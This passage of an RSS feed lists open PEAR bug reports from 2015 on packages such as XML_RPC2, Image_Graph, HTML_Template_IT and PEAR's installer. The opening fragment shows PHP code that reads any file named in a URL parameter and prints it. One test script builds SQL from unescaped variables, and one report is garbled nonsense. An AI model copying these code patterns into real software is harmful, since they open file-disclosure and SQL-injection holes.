if (isset($_GET['path'])) {

$filename = $_GET['path'];



if ($filename) {

$f = file_get_contents($filename);

}

}



header('Content-type: text/plain');

echo $f;



} else {



echo 'Permission denied!';



}



-- 
Permanent link at bugs.php.net/bug.php?id=70136&amp;edit=2</pre>]]></description>
      <dc:date>2015-07-26T23:09:36+00:00</dc:date>
      <dc:creator>medjomeman &amp;#x61;&amp;#116; hotmail &amp;#x64;&amp;#111;&amp;#x74; fr</dc:creator>
      <dc:subject>File_Util Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20924">
      <title>XML_RPC2: Bug 20924 [Open] Strict Standards: Non-static method PEAR::loadExtension() should not be called</title>
      <link>http://pear.php.net/bugs/20924</link>
      <content:encoded><![CDATA[<pre>XML_RPC2 Bug
Reported by tunage
2015-07-25T21:22:45+00:00
PHP: 5.6.10 OS: FreeBSD Package Version: SVN

Description:
------------
I am getting the following error when trying to use the Gandi libraries.

Strict Standards: Non-static method PEAR::loadExtension() should not be called statically in /usr/local/share/pear/XML/RPC2/Backend.php on line 111

There error appears to be identical to http://pear.php.net/bugs/bug.php?id=18638&amp;thanks=3

So, I upgraded PEAR via  -&gt;  pear install PEAR-1.10.0dev1

# pear info PEAR
About pear.php.net/PEAR-1.10.0dev1


Same error.

Test script:
---------------
unknown

Expected result:
----------------
no error</pre>]]></content:encoded>
      <description><![CDATA[<pre>XML_RPC2 Bug
Reported by tunage
2015-07-25T21:22:45+00:00
PHP: 5.6.10 OS: FreeBSD Package Version: SVN

Description:
------------
I am getting the following error when trying to use the Gandi libraries.

Strict Standards: Non-static method PEAR::loadExtension() should not be called statically in /usr/local/share/pear/XML/RPC2/Backend.php on line 111

There error appears to be identical to http://pear.php.net/bugs/bug.php?id=18638&amp;thanks=3

So, I upgraded PEAR via  -&gt;  pear install PEAR-1.10.0dev1

# pear info PEAR
About pear.php.net/PEAR-1.10.0dev1


Same error.

Test script:
---------------
unknown

Expected result:
----------------
no error</pre>]]></description>
      <dc:date>2015-07-25T21:22:45+00:00</dc:date>
      <dc:creator>brads &amp;#x61;&amp;#116; nyctelecomm &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>XML_RPC2 Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20923">
      <title>Image_Graph: Bug 20923 [Open] Unable to view graph</title>
      <link>http://pear.php.net/bugs/20923</link>
      <content:encoded><![CDATA[<pre>Image_Graph Bug
Reported by akshay
2015-07-23T11:22:50+00:00
PHP: 5.4.43 OS: Linux Package Version: 0.8.0

Description:
------------
I am unable to view graph using Image_Graph, can you please let me know 
the steps to debug this issue . 

Test script:
---------------
function doChart($table, $fields, $appName, $node = &quot;&quot;, $nodeTbl = &quot;&quot;) {
    global $date, $site, $statsDB;
    include &quot;Image/Graph.php&quot;;

    if ( file_exists(&quot;/usr/openwin/lib/X11/fonts/TrueType/LiberationSans-Regular.ttf&quot; ) ) {
      $fontPath = &quot;/usr/openwin/lib/X11/fonts/TrueType/LiberationSans-Regular.ttf&quot;;
    } else if ( file_exists(&quot;/usr/share/fonts/liberation/LiberationSans-Regular.ttf&quot;) ) {
      $fontPath = &quot;/usr/share/fonts/liberation/LiberationSans-Regular.ttf&quot;;
    }
    $graph =&amp; Image_Graph::factory(&quot;graph&quot;,array(640,400));
    $font =&amp; $graph-&gt;addNew(&quot;font&quot;,$fontPath);
    $font-&gt;setSize(8);
    $graph-&gt;setFont($font);
    //Image_Graph::factory('title',array(&quot;EBA &quot; . strtoupper($appName) . &quot; Metrics: &quot; . $fields, 12)),
    //Image_Graph::factory('title',array($date,8)),

    $graph-&gt;add(
        Image_Graph::vertical(
            Image_Graph::vertical(
                Image_Graph::factory('title',array(&quot;&quot;,12)),
                Image_Graph::factory('title',array(&quot;&quot;, 8)),
                80
            ),
            Image_Graph::vertical(
                $plotArea = Image_Graph::factory('plotarea'),
                $legend = Image_Graph::factory('legend'),
                85
            ),
            9)
        );

    $legend-&gt;setPlotArea($plotArea);
    $legend-&gt;setFillColor(&quot;#cccccc@0.5&quot;);

    $gridY =&amp; $plotArea-&gt;addNew('line_grid', null, IMAGE_GRAPH_AXIS_Y);
    $gridY-&gt;setLineColor('gray@0.1');

    $fieldArr = explode(&quot;,&quot;, $fields);
    $datasets = array();
    foreach ($fieldArr as $f) {
        $datasets[$f] =&amp; Image_Graph::factory('dataset');
    }

    $nodeFilter = &quot;&quot;;
    $tables = &quot;eba_mdc,&quot; . $table . &quot;,sites&quot;;
    if ($node != &quot;&quot;) {
        $nodeFilter = $table . &quot;.moid_id = eba_moid.id AND eba_moid.name = '&quot; . $node . &quot;' AND &quot;;
        $tables = &quot;eba_moid,&quot; . $tables;
    }
    $sql = &quot;SELECT DATE_FORMAT(begin_time,'%H:%i') AS begin_time,&quot; . $fields . &quot; FROM &quot; . $tables .&quot; WHERE &quot; .
        &quot;begin_time BETWEEN '&quot; . $date . &quot; 00:00:00' AND '&quot; . $date . &quot; 23:59:59' AND &quot; .
        &quot;neun='&quot; . $appName . &quot;' AND siteid=sites.id AND sites.name = '&quot; . $site . &quot;' AND &quot; . $nodeFilter .
        &quot;mdc_id=eba_mdc.id ORDER BY begin_time&quot;;
    $statsDB-&gt;query($sql);
    $yMax = 0;
    while ($row = $statsDB-&gt;getNextNamedRow()) {
        foreach ($row as $key =&gt; $val) {
            if ($key == &quot;begin_time&quot;) {
                $xVal = $val;
            } else {
                if (isset($val) &amp;&amp; $val != &quot;&quot; &amp;&amp; isset($datasets[$key])) {
                    if ($val &gt;  $yMax) $yMax = $val;
                    $datasets[$key]-&gt;addPoint($xVal, $val);
                }
            }
        }
    }
    $colours = array(&quot;red&quot;,&quot;orange&quot;,&quot;yellow&quot;,&quot;green&quot;,&quot;blue&quot;,&quot;indigo&quot;,&quot;violet&quot;);
    $i = 0;
    foreach ($datasets as $key =&gt; $dataset) {
        $plot =&amp; $plotArea-&gt;addNew('line', array(&amp;$dataset));
        $plot-&gt;setTitle($key);
        $plot-&gt;setLineColor($colours[$i++]);
    }

   
    $xAxis =&amp; $plotArea-&gt;getAxis(IMAGE_GRAPH_AXIS_X);
    $xAxis-&gt;setTitle(&quot;Time&quot;);
    $xAxis-&gt;setLabelInterval(8);
    $yAxis =&amp; $plotArea-&gt;getAxis(IMAGE_GRAPH_AXIS_Y);
    $yAxis-&gt;setTitle(&quot;Count&quot;, 'vertical');
    $yAxis-&gt;forceMaximum($yMax * 1.1);
    $graph-&gt;setPadding(10);
    $graph-&gt;done();
}

Expected result:
----------------
it must display image

Actual result:
--------------
image can't be displayed</pre>]]></content:encoded>
      <description><![CDATA[<pre>Image_Graph Bug
Reported by akshay
2015-07-23T11:22:50+00:00
PHP: 5.4.43 OS: Linux Package Version: 0.8.0

Description:
------------
I am unable to view graph using Image_Graph, can you please let me know 
the steps to debug this issue . 

Test script:
---------------
function doChart($table, $fields, $appName, $node = &quot;&quot;, $nodeTbl = &quot;&quot;) {
    global $date, $site, $statsDB;
    include &quot;Image/Graph.php&quot;;

    if ( file_exists(&quot;/usr/openwin/lib/X11/fonts/TrueType/LiberationSans-Regular.ttf&quot; ) ) {
      $fontPath = &quot;/usr/openwin/lib/X11/fonts/TrueType/LiberationSans-Regular.ttf&quot;;
    } else if ( file_exists(&quot;/usr/share/fonts/liberation/LiberationSans-Regular.ttf&quot;) ) {
      $fontPath = &quot;/usr/share/fonts/liberation/LiberationSans-Regular.ttf&quot;;
    }
    $graph =&amp; Image_Graph::factory(&quot;graph&quot;,array(640,400));
    $font =&amp; $graph-&gt;addNew(&quot;font&quot;,$fontPath);
    $font-&gt;setSize(8);
    $graph-&gt;setFont($font);
    //Image_Graph::factory('title',array(&quot;EBA &quot; . strtoupper($appName) . &quot; Metrics: &quot; . $fields, 12)),
    //Image_Graph::factory('title',array($date,8)),

    $graph-&gt;add(
        Image_Graph::vertical(
            Image_Graph::vertical(
                Image_Graph::factory('title',array(&quot;&quot;,12)),
                Image_Graph::factory('title',array(&quot;&quot;, 8)),
                80
            ),
            Image_Graph::vertical(
                $plotArea = Image_Graph::factory('plotarea'),
                $legend = Image_Graph::factory('legend'),
                85
            ),
            9)
        );

    $legend-&gt;setPlotArea($plotArea);
    $legend-&gt;setFillColor(&quot;#cccccc@0.5&quot;);

    $gridY =&amp; $plotArea-&gt;addNew('line_grid', null, IMAGE_GRAPH_AXIS_Y);
    $gridY-&gt;setLineColor('gray@0.1');

    $fieldArr = explode(&quot;,&quot;, $fields);
    $datasets = array();
    foreach ($fieldArr as $f) {
        $datasets[$f] =&amp; Image_Graph::factory('dataset');
    }

    $nodeFilter = &quot;&quot;;
    $tables = &quot;eba_mdc,&quot; . $table . &quot;,sites&quot;;
    if ($node != &quot;&quot;) {
        $nodeFilter = $table . &quot;.moid_id = eba_moid.id AND eba_moid.name = '&quot; . $node . &quot;' AND &quot;;
        $tables = &quot;eba_moid,&quot; . $tables;
    }
    $sql = &quot;SELECT DATE_FORMAT(begin_time,'%H:%i') AS begin_time,&quot; . $fields . &quot; FROM &quot; . $tables .&quot; WHERE &quot; .
        &quot;begin_time BETWEEN '&quot; . $date . &quot; 00:00:00' AND '&quot; . $date . &quot; 23:59:59' AND &quot; .
        &quot;neun='&quot; . $appName . &quot;' AND siteid=sites.id AND sites.name = '&quot; . $site . &quot;' AND &quot; . $nodeFilter .
        &quot;mdc_id=eba_mdc.id ORDER BY begin_time&quot;;
    $statsDB-&gt;query($sql);
    $yMax = 0;
    while ($row = $statsDB-&gt;getNextNamedRow()) {
        foreach ($row as $key =&gt; $val) {
            if ($key == &quot;begin_time&quot;) {
                $xVal = $val;
            } else {
                if (isset($val) &amp;&amp; $val != &quot;&quot; &amp;&amp; isset($datasets[$key])) {
                    if ($val &gt;  $yMax) $yMax = $val;
                    $datasets[$key]-&gt;addPoint($xVal, $val);
                }
            }
        }
    }
    $colours = array(&quot;red&quot;,&quot;orange&quot;,&quot;yellow&quot;,&quot;green&quot;,&quot;blue&quot;,&quot;indigo&quot;,&quot;violet&quot;);
    $i = 0;
    foreach ($datasets as $key =&gt; $dataset) {
        $plot =&amp; $plotArea-&gt;addNew('line', array(&amp;$dataset));
        $plot-&gt;setTitle($key);
        $plot-&gt;setLineColor($colours[$i++]);
    }

   
    $xAxis =&amp; $plotArea-&gt;getAxis(IMAGE_GRAPH_AXIS_X);
    $xAxis-&gt;setTitle(&quot;Time&quot;);
    $xAxis-&gt;setLabelInterval(8);
    $yAxis =&amp; $plotArea-&gt;getAxis(IMAGE_GRAPH_AXIS_Y);
    $yAxis-&gt;setTitle(&quot;Count&quot;, 'vertical');
    $yAxis-&gt;forceMaximum($yMax * 1.1);
    $graph-&gt;setPadding(10);
    $graph-&gt;done();
}

Expected result:
----------------
it must display image

Actual result:
--------------
image can't be displayed</pre>]]></description>
      <dc:date>2015-07-23T11:22:50+00:00</dc:date>
      <dc:creator>akshay &amp;#x64;&amp;#111;&amp;#x74; ballarpure &amp;#x61;&amp;#116; tcs &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Image_Graph Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20571">
      <title>HTML_Template_IT: Bug 20571 [Open] ITX function call in block</title>
      <link>http://pear.php.net/bugs/20571</link>
      <content:encoded><![CDATA[<pre>HTML_Template_IT Bug
Reported by petermacko
2015-07-14T13:08:38+00:00
PHP: 5.6.3 OS: Windows (IIS) Package Version: 1.3.0

Description:
------------
Im using ITX template HTML maker. I would like to use functions in html 
templates implemented in ITX classfile. But my problem is that function 
work only in 
main template. But I would like to use function calls in blockfile calls. 
When i add function to block file which is included in main template 
function is not called 
and in content is still function name and parameter. 

This is my code:

$this-&gt;tpl = new HTML_Template_ITX();

$this-&gt;tpl-&gt;loadTemplatefile(&quot;index.tpl.php&quot;, true, true);
$this-&gt;tpl-&gt;addBlockfile(&quot;CONTENT&quot;, &quot;CONTENT&quot;, 
&quot;doch_kalendar.tpl.php&quot;);
		
$this-&gt;tpl-&gt;setCallbackFunction('t', 't'); 
$this-&gt;tpl-&gt;performCallback();
        
in the doch_kalendar.tpl.php i have this statement:

func_t(&quot;previousperiod&quot;)
&lt;b&gt;some html code&lt;/b&gt;

If i add this statement: func_t(&quot;previousperiod&quot;) to index.tpl.php function 
in this template is called.


Test script:
---------------
$this-&gt;tpl = new HTML_Template_ITX();

$this-&gt;tpl-&gt;loadTemplatefile(&quot;index.tpl.php&quot;, true, true);
$this-&gt;tpl-&gt;addBlockfile(&quot;CONTENT&quot;, &quot;CONTENT&quot;, &quot;doch_kalendar.tpl.php&quot;);
		
$this-&gt;tpl-&gt;setCallbackFunction('t', 't'); 
$this-&gt;tpl-&gt;performCallback();

Expected result:
----------------
.....index.tpl.php content before......


Previous period
&lt;b&gt;some html code&lt;/b&gt;


....index.tpl.php content after.....

Actual result:
--------------
.....index.tpl.php content before......


func_t(&quot;previousperiod&quot;)
&lt;b&gt;some html code&lt;/b&gt;


....index.tpl.php content after.....</pre>]]></content:encoded>
      <description><![CDATA[<pre>HTML_Template_IT Bug
Reported by petermacko
2015-07-14T13:08:38+00:00
PHP: 5.6.3 OS: Windows (IIS) Package Version: 1.3.0

Description:
------------
Im using ITX template HTML maker. I would like to use functions in html 
templates implemented in ITX classfile. But my problem is that function 
work only in 
main template. But I would like to use function calls in blockfile calls. 
When i add function to block file which is included in main template 
function is not called 
and in content is still function name and parameter. 

This is my code:

$this-&gt;tpl = new HTML_Template_ITX();

$this-&gt;tpl-&gt;loadTemplatefile(&quot;index.tpl.php&quot;, true, true);
$this-&gt;tpl-&gt;addBlockfile(&quot;CONTENT&quot;, &quot;CONTENT&quot;, 
&quot;doch_kalendar.tpl.php&quot;);
		
$this-&gt;tpl-&gt;setCallbackFunction('t', 't'); 
$this-&gt;tpl-&gt;performCallback();
        
in the doch_kalendar.tpl.php i have this statement:

func_t(&quot;previousperiod&quot;)
&lt;b&gt;some html code&lt;/b&gt;

If i add this statement: func_t(&quot;previousperiod&quot;) to index.tpl.php function 
in this template is called.


Test script:
---------------
$this-&gt;tpl = new HTML_Template_ITX();

$this-&gt;tpl-&gt;loadTemplatefile(&quot;index.tpl.php&quot;, true, true);
$this-&gt;tpl-&gt;addBlockfile(&quot;CONTENT&quot;, &quot;CONTENT&quot;, &quot;doch_kalendar.tpl.php&quot;);
		
$this-&gt;tpl-&gt;setCallbackFunction('t', 't'); 
$this-&gt;tpl-&gt;performCallback();

Expected result:
----------------
.....index.tpl.php content before......


Previous period
&lt;b&gt;some html code&lt;/b&gt;


....index.tpl.php content after.....

Actual result:
--------------
.....index.tpl.php content before......


func_t(&quot;previousperiod&quot;)
&lt;b&gt;some html code&lt;/b&gt;


....index.tpl.php content after.....</pre>]]></description>
      <dc:date>2015-07-14T13:08:38+00:00</dc:date>
      <dc:creator>pmacko &amp;#x61;&amp;#116; outlook &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>HTML_Template_IT Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20569">
      <title>Pager: Bug 20569 [Open] extraVars not used when append=false</title>
      <link>http://pear.php.net/bugs/20569</link>
      <content:encoded><![CDATA[<pre>Pager Bug
Reported by jonez
2015-07-10T14:56:12+00:00
PHP: Irrelevant OS:  Package Version: 2.4.9

Description:
------------
I'd like to have a url like &quot;/summary-1?var=foo&amp;baz=bing&quot; which should give me page 1 
with two extraVars appended, however this does not work because extraVars is 
ignored when append=false (which I need to have a %d replaced by the page number in 
the above example)</pre>]]></content:encoded>
      <description><![CDATA[<pre>Pager Bug
Reported by jonez
2015-07-10T14:56:12+00:00
PHP: Irrelevant OS:  Package Version: 2.4.9

Description:
------------
I'd like to have a url like &quot;/summary-1?var=foo&amp;baz=bing&quot; which should give me page 1 
with two extraVars appended, however this does not work because extraVars is 
ignored when append=false (which I need to have a %d replaced by the page number in 
the above example)</pre>]]></description>
      <dc:date>2015-07-10T14:58:18+00:00</dc:date>
      <dc:creator>jam &amp;#x61;&amp;#116; zoidtechnologies &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Pager Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20568">
      <title>Documentation: Bug 20568 [Open] Pyrus fails to run with binary build of PHP</title>
      <link>http://pear.php.net/bugs/20568</link>
      <content:encoded><![CDATA[<pre>Documentation Bug
Reported by ronald_petty
2015-07-07T05:46:27+00:00
PHP: 5.6.10 OS: Windows Server 2012 Package Version: 

Description:
------------
The pyrus docs say its self contained.  What it didn't say was that php has to have certain requirements.  I installed 5.6.10 (latest as of 6-July-2015) binary on Windows Server 2012, and it seems it requires sqlite3.  That doesn't seem to be a listed requirement in the initial documentation.  Is this a bug, or just an oversite?  In either case, do we ask php.net to fix they build, change the requirements of pyrus, or something else?  Thanks!   Site seems so dated, hard to tell if its even the right tool use.

Test script:
---------------
PS C:\php_class&gt; C:\php\php.exe .\pyrus.phar info xml

Expected result:
----------------
package gets installed

Actual result:
--------------
You must compile PHP with the following extensions enabled:
sqlite3
or install the necessary extensions for your distribution.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Documentation Bug
Reported by ronald_petty
2015-07-07T05:46:27+00:00
PHP: 5.6.10 OS: Windows Server 2012 Package Version: 

Description:
------------
The pyrus docs say its self contained.  What it didn't say was that php has to have certain requirements.  I installed 5.6.10 (latest as of 6-July-2015) binary on Windows Server 2012, and it seems it requires sqlite3.  That doesn't seem to be a listed requirement in the initial documentation.  Is this a bug, or just an oversite?  In either case, do we ask php.net to fix they build, change the requirements of pyrus, or something else?  Thanks!   Site seems so dated, hard to tell if its even the right tool use.

Test script:
---------------
PS C:\php_class&gt; C:\php\php.exe .\pyrus.phar info xml

Expected result:
----------------
package gets installed

Actual result:
--------------
You must compile PHP with the following extensions enabled:
sqlite3
or install the necessary extensions for your distribution.</pre>]]></description>
      <dc:date>2015-07-07T05:46:27+00:00</dc:date>
      <dc:creator>ronald &amp;#x64;&amp;#111;&amp;#x74; petty &amp;#x61;&amp;#116; gmail &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Documentation Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20566">
      <title>Services_W3C_HTMLValidator: Bug 20566 [Open] W3 blocked if output=soap12</title>
      <link>http://pear.php.net/bugs/20566</link>
      <content:encoded><![CDATA[<pre>Services_W3C_HTMLValidator Bug
Reported by dimti
2015-06-28T20:34:14+00:00
PHP: 5.6.1 OS: Linux Package Version: 1.0.0

Description:
------------
http://stackoverflow.com/questions/31097106/validator-w3-forbidden-403-error</pre>]]></content:encoded>
      <description><![CDATA[<pre>Services_W3C_HTMLValidator Bug
Reported by dimti
2015-06-28T20:34:14+00:00
PHP: 5.6.1 OS: Linux Package Version: 1.0.0

Description:
------------
http://stackoverflow.com/questions/31097106/validator-w3-forbidden-403-error</pre>]]></description>
      <dc:date>2015-06-28T20:34:14+00:00</dc:date>
      <dc:creator>dimti &amp;#x61;&amp;#116; bk &amp;#x64;&amp;#111;&amp;#x74; ru</dc:creator>
      <dc:subject>Services_W3C_HTMLValidator Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20562">
      <title>Auth_HTTP: Documentation Problem 20562 [Open] array</title>
      <link>http://pear.php.net/bugs/20562</link>
      <content:encoded><![CDATA[<pre>Auth_HTTP Documentation Problem
Reported by nebios
2015-06-12T16:52:12+00:00
PHP: 5.6.8 OS: inux Package Version: Unknown

Description:
------------
array()
~0000x8

--25
-+25
closed host 

Test script:
---------------
array()
~0000x8

--25
-+25
closed host 

Expected result:
----------------
+50 buf size
-+50 not call array()

Actual result:
--------------
array()
~0000x8 
$files ();
sql not--5</pre>]]></content:encoded>
      <description><![CDATA[<pre>Auth_HTTP Documentation Problem
Reported by nebios
2015-06-12T16:52:12+00:00
PHP: 5.6.8 OS: inux Package Version: Unknown

Description:
------------
array()
~0000x8

--25
-+25
closed host 

Test script:
---------------
array()
~0000x8

--25
-+25
closed host 

Expected result:
----------------
+50 buf size
-+50 not call array()

Actual result:
--------------
array()
~0000x8 
$files ();
sql not--5</pre>]]></description>
      <dc:date>2015-06-12T16:52:12+00:00</dc:date>
      <dc:creator>nebios &amp;#x61;&amp;#116; live &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Auth_HTTP Documentation Problem</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20560">
      <title>PEAR: Bug 20560 [Open] Setting PHP's include_path needs touch-up</title>
      <link>http://pear.php.net/bugs/20560</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by triple_nothing
2015-06-11T23:38:17+00:00
PHP: 5.6.9 OS: Windows Package Version: 1.9.5

Description:
------------
Simply said, PHP will be rather touchy with how the directory is defined in many Windows situations. I've had many problems recently and in the past if the inserted directory holds spacing with a true space, or the %20. The quick and easy fix has always been to rename to a Windows Short 8.3 filename. This is simply the classic Progra~1 format. If the installer can do that for the user, or simply add a tiny note to display during installation if any form of spacing is detection, that would be excellent.</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by triple_nothing
2015-06-11T23:38:17+00:00
PHP: 5.6.9 OS: Windows Package Version: 1.9.5

Description:
------------
Simply said, PHP will be rather touchy with how the directory is defined in many Windows situations. I've had many problems recently and in the past if the inserted directory holds spacing with a true space, or the %20. The quick and easy fix has always been to rename to a Windows Short 8.3 filename. This is simply the classic Progra~1 format. If the installer can do that for the user, or simply add a tiny note to display during installation if any form of spacing is detection, that would be excellent.</pre>]]></description>
      <dc:date>2015-06-11T23:38:17+00:00</dc:date>
      <dc:creator>Admin &amp;#x61;&amp;#116; hellzoneinc &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20559">
      <title>PEAR: Bug 20559 [Open] PHP_PEAR_INSTALL_DIR initial value incorrectly set</title>
      <link>http://pear.php.net/bugs/20559</link>
      <content:encoded><![CDATA[<pre>PEAR Bug
Reported by triple_nothing
2015-06-11T23:22:50+00:00
PHP: 5.6.10 OS: Windows Package Version: 1.9.5

Description:
------------
Well, I get the installer to run just fine, but in the end, its PHP_PEAR_INSTALL_DIR holds a value, but not correctly. I have checked the pear.ini, and the if/then's in the pear.bat, and everything is accurate. The if/then that checks if it is empty will set it accurately, if it was empty. However, the variable does hold a value which is inaccurate. If I add the SET line above those if/then's to forcibly accurately set it, everything will work fine, but I have to do that.

Now the catchy part. Where is the initial/original value coming from? If I add the SET line and set it to an inaccurate made-up value, it will error as expected. BUT... If I remove that SET line from the file after running it once, it will still error with the recently deleted SET line value. I'm guessing it is just not fetching this value from the .ini php_dir from the way it looks, since no reference to that file is made.

Auto-fetch from somewhere: C:\Program Files\PHP\pear
Accurate location: C:\Program Files\PHP\pear\pear

Test script:
---------------
REM Check PEAR global ENV, set them if they do not exist
SET &quot;PHP_PEAR_INSTALL_DIR=C:\Program Files\PHP\pear\pear&quot;
IF &quot;%PHP_PEAR_INSTALL_DIR%&quot;==&quot;&quot; SET &quot;PHP_PEAR_INSTALL_DIR=C:\Program Files\PHP\pear\pear&quot;
IF &quot;%PHP_PEAR_BIN_DIR%&quot;==&quot;&quot; SET &quot;PHP_PEAR_BIN_DIR=C:\Program Files\PHP\pear&quot;
IF &quot;%PHP_PEAR_PHP_BIN%&quot;==&quot;&quot; SET &quot;PHP_PEAR_PHP_BIN=C:\Program Files\PHP\php.exe&quot;

GOTO :INSTALLED</pre>]]></content:encoded>
      <description><![CDATA[<pre>PEAR Bug
Reported by triple_nothing
2015-06-11T23:22:50+00:00
PHP: 5.6.10 OS: Windows Package Version: 1.9.5

Description:
------------
Well, I get the installer to run just fine, but in the end, its PHP_PEAR_INSTALL_DIR holds a value, but not correctly. I have checked the pear.ini, and the if/then's in the pear.bat, and everything is accurate. The if/then that checks if it is empty will set it accurately, if it was empty. However, the variable does hold a value which is inaccurate. If I add the SET line above those if/then's to forcibly accurately set it, everything will work fine, but I have to do that.

Now the catchy part. Where is the initial/original value coming from? If I add the SET line and set it to an inaccurate made-up value, it will error as expected. BUT... If I remove that SET line from the file after running it once, it will still error with the recently deleted SET line value. I'm guessing it is just not fetching this value from the .ini php_dir from the way it looks, since no reference to that file is made.

Auto-fetch from somewhere: C:\Program Files\PHP\pear
Accurate location: C:\Program Files\PHP\pear\pear

Test script:
---------------
REM Check PEAR global ENV, set them if they do not exist
SET &quot;PHP_PEAR_INSTALL_DIR=C:\Program Files\PHP\pear\pear&quot;
IF &quot;%PHP_PEAR_INSTALL_DIR%&quot;==&quot;&quot; SET &quot;PHP_PEAR_INSTALL_DIR=C:\Program Files\PHP\pear\pear&quot;
IF &quot;%PHP_PEAR_BIN_DIR%&quot;==&quot;&quot; SET &quot;PHP_PEAR_BIN_DIR=C:\Program Files\PHP\pear&quot;
IF &quot;%PHP_PEAR_PHP_BIN%&quot;==&quot;&quot; SET &quot;PHP_PEAR_PHP_BIN=C:\Program Files\PHP\php.exe&quot;

GOTO :INSTALLED</pre>]]></description>
      <dc:date>2015-06-11T23:28:33+00:00</dc:date>
      <dc:creator>Admin &amp;#x61;&amp;#116; hellzoneinc &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>PEAR Bug</dc:subject>
    </item>
    <item rdf:about="http://pear.php.net/bug/20557">
      <title>Crypt_Blowfish: Feature/Change Request 20557 [Open] Suggestions for Changes in Feature.</title>
      <link>http://pear.php.net/bugs/20557</link>
      <content:encoded><![CDATA[<pre>Crypt_Blowfish Feature/Change Request
Reported by vishnu
2015-06-09T20:08:58+00:00
PHP: 5.4.38 OS: Windows Package Version: 1.1.0RC2

Description:
------------
The Rounds and Salt usage must be generated randomly in an predefined 
order, which we've already fixed into the package. It may increase the 
security for salt. The encryption which is running 6 rounds (for example) 
increases the server load. The Blowfish encryption method is also providing 
a Decryption method, which isn't available in the Package.</pre>]]></content:encoded>
      <description><![CDATA[<pre>Crypt_Blowfish Feature/Change Request
Reported by vishnu
2015-06-09T20:08:58+00:00
PHP: 5.4.38 OS: Windows Package Version: 1.1.0RC2

Description:
------------
The Rounds and Salt usage must be generated randomly in an predefined 
order, which we've already fixed into the package. It may increase the 
security for salt. The encryption which is running 6 rounds (for example) 
increases the server load. The Blowfish encryption method is also providing 
a Decryption method, which isn't available in the Package.</pre>]]></description>
      <dc:date>2015-06-09T20:08:58+00:00</dc:date>
      <dc:creator>vishnu &amp;#x61;&amp;#116; codemazk &amp;#x64;&amp;#111;&amp;#x74; com</dc:creator>
      <dc:subject>Crypt_Blowfish Feature/Change Request</dc:subject>
    </item>
</rdf:RDF>
<!--

The following warnings occured during your request:

* The search was too general, only 150 bugs will be returned
-->
